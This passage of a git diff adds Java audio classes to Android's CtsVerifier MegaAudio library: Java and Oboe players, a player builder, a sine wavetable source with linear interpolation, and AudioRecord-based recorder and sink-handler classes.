+     * Returns immediately, though a call to AudioSource.pull() may be in progress.
+     */
+    @Override
+    public int stopStream() {
+        mPlaying = false;
+        return OK;
+    }
+
+    //
+    // StreamPlayerRunnable
+    //
+    /**
+     * Implements the <code>run</code> method for the playback thread.
+     * Gets initial audio data and starts the AudioTrack. Then continuously provides audio data
+     * until the flag <code>mPlaying</code> is set to false (in the stop() method).
+     */
+    private class StreamPlayerRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBufferSamples = mNumBufferFrames * mChannelCount;
+
+            mAudioTrack.play();
+            while (mPlaying) {
+                mAudioSource.pull(mAudioBuffer, mNumBufferFrames, mChannelCount);
+
+                int numSamplesWritten = mAudioTrack.write(
+                        mAudioBuffer,0, numBufferSamples, AudioTrack.WRITE_BLOCKING);
+                if (numSamplesWritten < 0) {
+                    // error
+                    if (LOG) {
+                        Log.i(TAG, "AudioTrack write error: " + numSamplesWritten);
+                    }
+                    stopStream();
+                } else if (numSamplesWritten < numBufferSamples) {
+                    // end of stream
+                    if (LOG) {
+                        Log.i(TAG, "Stream Complete.");
+                    }
+                    stopStream();
+                }
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
new file mode 100644
index 0000000..24e4930
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class NativeAudioSource extends AudioSource {
+    private long    mNativeSourcePtr;
+
+    public NativeAudioSource(long nativeSourcePtr) {
+        mNativeSourcePtr = nativeSourcePtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSourcePtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSourcePtr, numFrames, numChans);
+    }
+
+    // These can be called from Java, but only do so if you don't mind the JNI overhead
+    @Override
+    public void reset() {
+        resetN(mNativeSourcePtr);
+    }
+
+    @Override
+    public int pull(float[] audioData, int numFrames, int numChans) {
+        return pullN(mNativeSourcePtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSourcePtr, int numFrames, int numChans);
+    private native void resetN(long nativeSourcePtr);
+    private native int pullN(long nativeSourcePtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
new file mode 100644
index 0000000..e6770b2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class OboePlayer extends Player {
+    boolean mPlaying;
+
+    private int mPlayerSubtype;
+    private long mNativePlayer;
+
+    public OboePlayer(AudioSourceProvider sourceProvider, int playerSubtype) {
+        super(sourceProvider);
+
+        mPlayerSubtype = playerSubtype;
+        mNativePlayer = allocNativePlayer(
+                mSourceProvider.getNativeSource().getNativeObject(), mPlayerSubtype);
+    }
+
+    @Override
+    public int getNumBufferFrames() {
+        return getBufferFrameCountN(mNativePlayer);
+    }
+
+    @Override
+    public int getRoutedDeviceId() {
+        return getRoutedDeviceIdN(mNativePlayer);
+    }
+
+    @Override
+    public boolean isPlaying() { return mPlaying; }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(
+                mNativePlayer, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativePlayer);
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativePlayer, mPlayerSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        mPlaying = false;
+
+        return stopN(mNativePlayer);
+    }
+
+    private native long allocNativePlayer(long nativeSource, int playerSubtype);
+
+    private native int setupStreamN(long nativePlayer, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativePlayer);
+
+    private native int startStreamN(long nativePlayer, int playerSubtype);
+    private native int stopN(long nativePlayer);
+
+    private native int getBufferFrameCountN(long mNativePlayer);
+
+    private native int getRoutedDeviceIdN(long nativePlayer);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
new file mode 100644
index 0000000..2974766
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+/**
+ * An abstract class defining the common operations and attributes for all
+ * player (concrete) sub-classes.
+ */
+public abstract class Player extends StreamBase {
+    public Player(AudioSourceProvider sourceProvider) {
+        mSourceProvider = sourceProvider;
+    }
+
+    /*
+     * Audio Source
+     */
+    protected AudioSourceProvider mSourceProvider;
+
+    //
+    // Attributes
+    //
+    // This needs to be static because it is called before creating the Recorder subclass
+    public static int calcMinBufferFrames(int channelCount, int sampleRate) {
+        int channelMask = Player.channelCountToChannelMask(channelCount);
+        int bufferSizeInBytes =
+                AudioTrack.getMinBufferSize (sampleRate,
+                        channelMask,
+                        AudioFormat.ENCODING_PCM_FLOAT);
+        return bufferSizeInBytes / sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    //
+    // Status
+    //
+    public abstract boolean isPlaying();
+
+    /*
+     * Channel utils
+     */
+    // TODO Consider moving these to a "Utility" library.
+    /**
+     * @param channelCount  The number of channels for which to generate an output position mask.
+     * @return An output channel-position mask corresponding to the supplied number of channels.
+     */
+    public static int channelCountToChannelMask(int channelCount) {
+        switch (channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+
+            case 3:
+                return AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+
+            case 4:
+                return AudioFormat.CHANNEL_OUT_QUAD;
+
+            case 5: // 5.0
+                return AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+
+            case 6: // 5.1
+                return AudioFormat.CHANNEL_OUT_5POINT1;
+
+            case 7: // 6.1
+                return AudioFormat.CHANNEL_OUT_5POINT1 | AudioFormat.CHANNEL_OUT_BACK_CENTER;
+
+            case 8:
+                return AudioFormat.CHANNEL_OUT_7POINT1;
+
+            default:
+                return AudioTrack.ERROR_BAD_VALUE;
+        }
+    }
+
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
new file mode 100644
index 0000000..ff0a31b
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioDeviceInfo;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+
+public class PlayerBuilder extends BuilderBase {
+    private AudioSourceProvider mSourceProvider;
+
+    public PlayerBuilder() {
+
+    }
+
+    public PlayerBuilder setPlayerType(int playerType) {
+        mType = playerType;
+        return this;
+    }
+
+    public PlayerBuilder setSourceProvider(AudioSourceProvider sourceProvider) {
+        mSourceProvider = sourceProvider;
+        return this;
+    }
+
+    public Player build() throws BadStateException {
+        if (mSourceProvider == null) {
+            throw new BadStateException();
+        }
+
+        Player player = null;
+        int playerType = mType & TYPE_MASK;
+        switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
+            case TYPE_JAVA:
+                player = new JavaPlayer(mSourceProvider);
+                break;
+
+            case TYPE_OBOE:{
+                int playerSubType = mType & SUB_TYPE_MASK;
+                player = new OboePlayer(mSourceProvider, playerSubType);
+            }
+            break;
+
+            default:
+                throw new BadStateException();
+        }
+
+        return player;
+    }
+
+    public class BadStateException extends Throwable {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java
new file mode 100644
index 0000000..f8d803d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSource.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+public class SinAudioSource extends WaveTableSource {
+
+    /**
+     * The number of SAMPLES in the Sin Wave table.
+     * This is plenty of samples for a clear sine wave.
+     * the + 1 is to avoid special handling of the interpolation on the last sample.
+     */
+    static final int WAVETABLE_LENGTH = 2049;
+
+    public SinAudioSource() {
+        super();
+        float[] waveTbl = new float[WAVETABLE_LENGTH];
+        WaveTableSource.genSinWave(waveTbl);
+
+        super.setWaveTable(waveTbl);
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
new file mode 100644
index 0000000..6123f98
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.NativeAudioSource;
+
+public class SinAudioSourceProvider implements AudioSourceProvider {
+    @Override
+    public AudioSource getJavaSource() {
+        return new SinAudioSource();
+    }
+
+    @Override
+    public NativeAudioSource getNativeSource() {
+        return new NativeAudioSource(allocNativeSource());
+    }
+
+    private native long allocNativeSource();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
new file mode 100644
index 0000000..72695db
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player.sources;
+
+import org.hyphonate.megaaudio.player.AudioSource;
+
+/**
+ * An AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
+ * We do simple, linear interpolation for inter-table values.
+ */
+public class WaveTableSource extends AudioSource {
+    @SuppressWarnings("unused") private static String TAG = WaveTableSource.class.getSimpleName();
+
+    /** The samples defining one cycle of the waveform to play */
+    protected float[] mWaveTbl;
+    /** The number of samples in the wave table. Note that the wave table is presumed to contain
+     * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+     * calculation. Thus, this value will be 1 less than the length of mWaveTbl.
+     */
+    protected int mNumWaveTblSamples;
+    /** The phase (offset within the wave table) of the next output sample.
+     *  Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTblSamples.
+     */
+    protected float mSrcPhase;
+    /** The sample rate at which playback occurs */
+    protected float mSampleRate = 48000;  // This seems likely, but can be changed
+    /** The frequency of the generated audio signal */
+    protected float mFreq = 1000;         // Some reasonable default frequency
+    /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+     * each sample in the wave table was sent in turn to the output at the specified sample rate.
+     */
+    protected float mFN;
+    /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+    protected float mFNInverse;
+
+    /**
+     * Constructor.
+     */
+    public WaveTableSource() {
+    }
+
+    /**
+     * Calculates the "Nominal" frequency of the wave table.
+     */
+    private void calcFN() {
+        mFN = mSampleRate / (float)mNumWaveTblSamples;
+        mFNInverse = 1.0f / mFN;
+    }
+
+    /**
+     * Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     *                This wave table contains a redundant sample in the last slot (== first slot)
+     *                to make the interpolation calculation simpler, so the logical length of
+     *                the wave table is one less than the length of the array.
+     */
+    public void setWaveTable(float[] waveTbl) {
+        mWaveTbl = waveTbl;
+        mNumWaveTblSamples = waveTbl != null ? mWaveTbl.length - 1 : 0;
+
+        calcFN();
+    }
+
+    /**
+     * Sets the playback sample rate for which samples will be generated.
+     * @param sampleRate
+     */
+    public void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    /**
+     * Set the frequency of the output signal.
+     * @param freq  Signal frequency in Hz.
+     */
+    public void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    /**
+     * Resets the playback position to the 1st sample.
+     */
+    @Override
+    public void reset() {
+        mSrcPhase = 0.0f;
+    }
+
+    /**
+     * Fills the specified buffer with values generated from the wave table which will playback
+     * at the specified frequency.
+     *
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return  The number of samples generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    @Override
+    public int pull(float[] buffer, int numFrames, int numChans) {
+        final float phaseIncr = mFreq * mFNInverse;
+        int outIndex = 0;
+        for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+            // 'mod' back into the waveTable
+            while (mSrcPhase >= (float)mNumWaveTblSamples) {
+                mSrcPhase -= (float)mNumWaveTblSamples;
+            }
+
+            // linear-interpolate
+            int srcIndex = (int)mSrcPhase;
+            float delta0 = mSrcPhase - (float)srcIndex;
+            float delta1 = 1.0f - delta0;
+            float value = ((mWaveTbl[srcIndex] * delta0) + (mWaveTbl[srcIndex + 1] * delta1));
+
+            // Put the same value in all channels.
+            for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+                buffer[outIndex++] = value;
+            }
+
+            mSrcPhase += phaseIncr;
+        }
+
+        return numFrames;
+    }
+
+    /*
+     * Standard wavetable generators
+     */
+    static public void genSinWave(float[] buffer) {
+        int size = buffer.length;
+        float incr = ((float)Math.PI  * 2.0f) / (float)(size - 1);
+        for(int index = 0; index < size; index++) {
+            buffer[index] = (float)Math.sin(index * incr);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
new file mode 100644
index 0000000..83e1a3f
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public abstract class AudioSink {
+    /**
+     * Called before the stream starts to allow initialization of the sink
+     * @param numFrames The number of frames that will be requested in each process() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
+    public void start() {}
+    public void stop(int lastBufferFrames) {}
+
+    /**
+     * Process incoming audio data.
+     * @param audioData The buffer of audio data.
+     * @param numFrames The number of frames of audio to process.
+     * @param numChans The number of channels (in the buffer).
+     * Note that the recorder will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    abstract public void push(final float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
new file mode 100644
index 0000000..f21a872
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSinkProvider.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public interface AudioSinkProvider {
+    /**
+     * @return return a Java AudioSink subclass object corresponding to the AudioSourceProvider
+     * implementation.
+     */
+    AudioSink allocJavaSink();
+
+    /**
+     * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation (stored in a long).
+     */
+    NativeAudioSink allocNativeSink();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
new file mode 100644
index 0000000..387f7da
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaRecorder.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.os.Looper;
+import android.os.Message;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.recorder.sinks.NopAudioSinkProvider;
+
+/**
+ * Implementation of abstract Recorder class implemented for the Android Java-based audio record
+ * API, i.e. AudioRecord.
+ */
+public class JavaRecorder extends Recorder {
+    @SuppressWarnings("unused") private static final String TAG = JavaRecorder.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = true;
+
+    /** The buffer to receive the recorder samples */
+    private float[] mRecorderBuffer;
+
+    /** The number of FRAMES of audio data in the record buffer */
+    private int mNumBuffFrames;
+
+    // Recording state
+    /** <code>true</code> if currently recording audio data */
+    private boolean mRecording = false;
+
+    /* The AudioRecord for recording the audio stream */
+    private AudioRecord mAudioRecord = null;
+
+    private AudioSink mAudioSink;
+
+    private int mInputPreset = INPUT_PRESET_NONE;
+
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioRecord != null) {
+            AudioDeviceInfo routedDevice = mAudioRecord.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
+    /**
+      * The listener to receive notifications of recording events
+      * @see {@link JavaSinkHandler}
+      */
+    private JavaSinkHandler mListener = null;
+
+    public JavaRecorder(AudioSinkProvider sinkProvider) {
+        super(sinkProvider);
+    }
+
+    //
+    // Attributes
+    //
+    /** The buff to receive the recorder samples */
+    public float[] getFloatBuffer() { return mRecorderBuffer; }
+
+    // JavaRecorder-specific extension
+    public AudioRecord getAudioRecord() { return mAudioRecord; }
+
+    @Override
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
+    /*
+     * State
+     */
+    @Override
+    public boolean isRecording() {
+        return mRecording;
+    }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        if (LOG) {
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
+                    ", frames:" + numBurstFrames);
+        }
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+
+        try {
+            int frameSize = calcFrameSizeInBytes(mChannelCount);
+
+            AudioRecord.Builder builder = new AudioRecord.Builder();
+
+            builder.setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
+                            .build());
+                    // .setBufferSizeInBytes(numBurstFrames * frameSize)
+            if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                builder.setAudioSource(mInputPreset);
+            }
+            mAudioRecord = builder.build();
+            mAudioRecord.setPreferredDevice(mRouteDevice);
+
+            mNumBuffFrames = mAudioRecord.getBufferSizeInFrames();
+
+            mRecorderBuffer = new float[mNumBuffFrames * mChannelCount];
+
+            if (mSinkProvider == null) {
+                mSinkProvider = new NopAudioSinkProvider();
+            }
+            mAudioSink = mSinkProvider.allocJavaSink();
+            mAudioSink.init(mNumBuffFrames, mChannelCount);
+            mListener = new JavaSinkHandler(this, mAudioSink, Looper.getMainLooper());
+            return OK;
+        } catch (UnsupportedOperationException ex) {
+            if (LOG) {
+                Log.i(TAG, "Couldn't open AudioRecord: " + ex);
+            }
+            mAudioRecord = null;
+            mNumBuffFrames = 0;
+            mRecorderBuffer = null;
+
+            return ERROR_UNSUPPORTED;
+        }
+    }
+
+    @Override
+    public int teardownStream() {
+        stopStream();
+
+        waitForStreamThreadToExit();
+
+        if (mAudioRecord != null) {
+            mAudioRecord.release();
+            mAudioRecord = null;
+        }
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        //TODO Retrieve errors from above
+        return OK;
+    }
+
+    @Override
+    public int startStream() {
+        if (LOG) {
+            Log.i(TAG, "startStream() mAudioRecord:" + mAudioRecord);
+        }
+        if (mAudioRecord == null) {
+            return ERROR_INVALID_STATE;
+        }
+//        // Routing
+//        mAudioRecord.setPreferredDevice(mRoutingDevice);
+
+        if (mListener != null) {
+            mListener.sendEmptyMessage(JavaSinkHandler.MSG_START);
+        }
+
+//        if (mAudioSink != null) {
+//            mAudioSink.init(mNumBuffFrames, mChannelCount);
+//        }
+        try {
+            mAudioRecord.startRecording();
+        } catch (IllegalStateException ex) {
+            Log.e(TAG, "startRecording exception: " + ex);
+        }
+
+        waitForStreamThreadToExit(); // just to be sure.
+
+        mStreamThread = new Thread(new RecorderRunnable(), "JavaRecorder Thread");
+        mRecording = true;
+        mStreamThread.start();
+
+        return OK;
+    }
+
+    /**
+     * Marks the stream for stopping on the next callback from the underlying system.
+     *
+     * Returns immediately, though a call to AudioSource.push() may be in progress.
+     */
+    @Override
+    public int stopStream() {
+        mRecording = false;
+        return OK;
+    }
+
+    // @Override
+    // Used in JavaSinkHandler
+    public float[] getDataBuffer() {
+        return mRecorderBuffer;
+        // System.arraycopy(mRecorderBuffer, 0, buffer, 0, mNumBuffFrames * mChannelCount);
+    }
+
+    @Override
+    public int getNumBufferFrames() {
+        return mNumBuffFrames;
+    }
+
+    /*
+     * Recorder Thread
+     */
+    /**
+     * Implements the <code>run</code> method for the record thread.
+     * Starts the AudioRecord, then continuously reads audio data
+     * until the flag <code>mRecording</code> is set to false (in the stop() method).
+     */
+    private class RecorderRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBurstSamples = mNumBuffFrames * mChannelCount;
+            int numReadSamples = 0;
+            while (mRecording) {
+                numReadSamples = mAudioRecord.read(
+                        mRecorderBuffer, 0, numBurstSamples, AudioRecord.READ_BLOCKING);
+
+                if (numReadSamples < 0) {
+                    // error
+                    if (LOG) {
+                        Log.e(TAG, "AudioRecord write error: " + numReadSamples);
+                    }
+                    stopStream();
+                } else if (numReadSamples < numBurstSamples) {
+                    // got less than requested?
+                    if (LOG) {
+                        Log.e(TAG, "AudioRecord Underflow: " + numReadSamples +
+                                " vs. " + numBurstSamples);
+                    }
+                    stopStream();
+                }
+
+                if (mListener != null) {
+                    // TODO: on error or underrun we may be send bogus data.
+                    mListener.sendEmptyMessage(JavaSinkHandler.MSG_BUFFER_FILL);
+                }
+            }
+
+            if (mListener != null) {
+                // TODO: on error or underrun we may be send bogus data.
+                Message message = new Message();
+                message.what = JavaSinkHandler.MSG_STOP;
+                message.arg1 = numReadSamples;
+                mListener.sendMessage(message);
+            }
+            mAudioRecord.stop();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
new file mode 100644
index 0000000..58c1ebe
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.hyphonate.megaaudio.recorder;
+
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+
+/**
+ * Defines a super-class for apps to receive notifications of recording events. Concrete
+ * subclasses need to implement the <code>handleMessage(Message)</code> method.
+ */
+public class JavaSinkHandler extends Handler {
+    @SuppressWarnings("unused") private static final String TAG = JavaSinkHandler.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = false;
+
+    protected JavaRecorder mRecorder;
+
+    private AudioSink mSink = null;
+
+    public JavaSinkHandler(JavaRecorder recorder, AudioSink sink, Looper looper) {
+        super(looper);
+        mRecorder = recorder;
+        mSink = sink;
+    }
+
+    /**
+     * Recording Event IDs.
+     */
+    /** Sent when recording has started */
+    public static final int MSG_START = 0;
+    /** Sent when a recording buffer has been filled */
+    public static final int MSG_BUFFER_FILL = 1;
+    /** Sent when recording has been stopped */
+    public static final int MSG_STOP = 2;
+
